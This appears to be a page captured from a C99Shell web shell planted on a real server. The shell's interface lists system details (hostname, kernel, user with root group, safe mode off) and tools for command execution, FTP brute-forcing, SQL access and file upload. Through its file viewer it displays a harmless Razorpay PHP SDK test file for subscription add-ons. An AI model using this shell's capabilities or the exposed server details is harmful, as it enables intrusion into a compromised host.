!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/vendor/razorpay/razorpay/tests/   drwxr-xr-x
Free 29.24 GB of 117.98 GB (24.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AddonTest.php (1.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Razorpay\Tests;

use 
Razorpay\Api\Request;

class 
AddonTest extends TestCase
{
    
/**
     * Specify unique addon id & plan id 
     * for example ao_IEf05Yeu52LlKL & plan_IEeswu4zFBRGwi
     */
    
    
private $addonId "ao_IEf05Yeu52LlKL";

    private 
$planId "plan_IEeswu4zFBRGwi";

    public function 
setUp(): void
    
{
        
parent::setUp();
    }
    
    
/**
     * Create an Add-on
     */
    
public function testCreateAddon()
    {
        
$subscription $this->api->subscription->create(array('plan_id' => $this->planId'customer_notify' => 1,'quantity'=>1'total_count' => 6'addons' => array(array('item' => array('name' => 'Delivery charges''amount' => 3000'currency' => 'INR'))),'notes'=> array('key1'=> 'value3','key2'=> 'value2')));
        
        
$data =  $this->api->subscription->fetch($subscription->id)->createAddon(array('item' => array('name' => 'Extra Chair''amount' => 3000'currency' => 'INR'), 'quantity' => 1));

        
$this->assertTrue(is_array($data->toArray()));
        
        
$this->assertTrue(is_object($data['item']));
    }
    
    
/**
     * Fetch Subscription Link by ID
     */
    
public function testFetchSubscriptionLink()
    {
        
$data $this->api->addon->fetch($this->addonId);
        
        
$this->assertTrue(is_array($data->toArray()));
        
        
$this->assertTrue($data['entity']=='addon');
    }
    
    
/**
     * Fetch all addons
     */
    
public function testFetchAllAddon()
    {
        
$data $this->api->addon->fetchAll();
        
        
$this->assertTrue(is_array($data->toArray()));
        
        
$this->assertTrue(is_array($data['items']));
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--